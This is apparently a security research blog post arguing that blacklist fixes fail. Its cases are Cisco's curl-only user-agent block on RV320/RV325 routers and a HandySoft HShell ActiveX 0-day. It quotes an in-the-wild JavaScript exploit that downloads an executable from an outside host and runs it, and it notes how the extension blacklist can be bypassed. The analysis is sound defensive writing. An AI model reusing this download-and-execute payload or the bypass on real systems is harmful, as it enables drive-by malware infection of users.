Blacklisting Limitations: Poor Cisco Fixes and Korean 0-days

Using blacklisting to fix vulnerabilities is rarely the right approach. That should not come as a surprise to anyone, and we all know variants of the saying: “The developer has to determine all cases of bad input; the attacker just has to determine the one that was missed.” Yet this does not stop vendors from still resorting to basic blacklisting approaches to “fix” vulnerabilities in their products.

In January 2019, Cisco addressed a vulnerability in their RV320 and RV325 VPN routers that allowed unauthenticated, remote attackers to disclose sensitive diagnostics information. This was possible by accessing the /cgi-bin/export_debug_msg.exp CGI program in the web-based management interface. The proper fix would be to ensure that only authenticated, privileged users can access the CGI program. Cisco decided on a different approach…

Last week, researchers disclosed that Cisco simply restricted access to the CGI program if requests come from curl HTTP user agents. The reason is likely that the PoC provided to Cisco by the researcher was using curl. Naturally, this “fix” is trivial to bypass by simply changing the HTTP user agent being sent as part of the request. Cisco has acknowledged that the original fix is incomplete and that they’re working on a new one.

Cisco are not the only ones to make mistakes like these. We recently completed a research project for some of our major Korean customers (more on that in a later post). As part of the project we reviewed the July 2014 version of a monthly report about malicious code trends published by KISA (Korea Internet & Security Agency). On pages 29 and 30 of the report, it shows a JavaScript file with malicious code that exploited a 0-day vulnerability in the HandySoft HShell ActiveX control by combining three unsafe methods.

A snippet of the relevant code:

obj.DownloadFromURL("http://www.sdgfaith.com/files/env/image/jpg/last.gif", "c:\\windows\\temp\\SearchMon.exe", 1, 1);
setTimeout(function() {
   if(obj.IsFileExist("c:\\windows\\temp\\SearchMon.exe"))
      obj.ShellExec("", "c:\\windows\\temp\\SearchMon.exe", "", "c:\\", 0, 0, 0);
}, 20000);

The methods in question are: DownloadFromURL(), IsFileExist(), and ShellExec(). Three method names that one generally does not want to see in safe-for-scripting ActiveX controls, as it is not functionality that websites should have access to.

At some point, the vendor attempted to fix these vulnerabilities. Instead of questioning whether these were sensible functions to have in a safe-for-scripting ActiveX control, the vendor instead opted – similar to Cisco – for a blacklisting approach. A validation function was introduced that restricts the file extensions that are accepted by the DownloadFromURL() and ShellExec() methods. However, the list is hardly exhaustive when it comes to dangerous file types, as it only covers: “.exe”, “.com”, “.bat”, “.cmd”, “.scr”, “.msi”, and “.vbs”. While it successfully blocked the 0-day exploit, there are many obvious dangerous file types not covered by this list. This makes it trivial to tweak the original exploit to bypass the check and still download and execute malicious code on a user’s system when visiting a web page.

Full details on the vulnerability are available in our research report.

In general, if a vendor’s immediate idea for fixing a vulnerability is to introduce a blacklist, they should pause and reconsider. What is the vulnerability’s root cause? In most cases, there is a much better way to solve it. If restrictions still seem like the right approach, the default should be a very limited whitelist. If a vendor can’t think of a good whitelist, they probably can’t come up with a good blacklist. In such cases, it’s very likely that the design of the functionality is just insecure.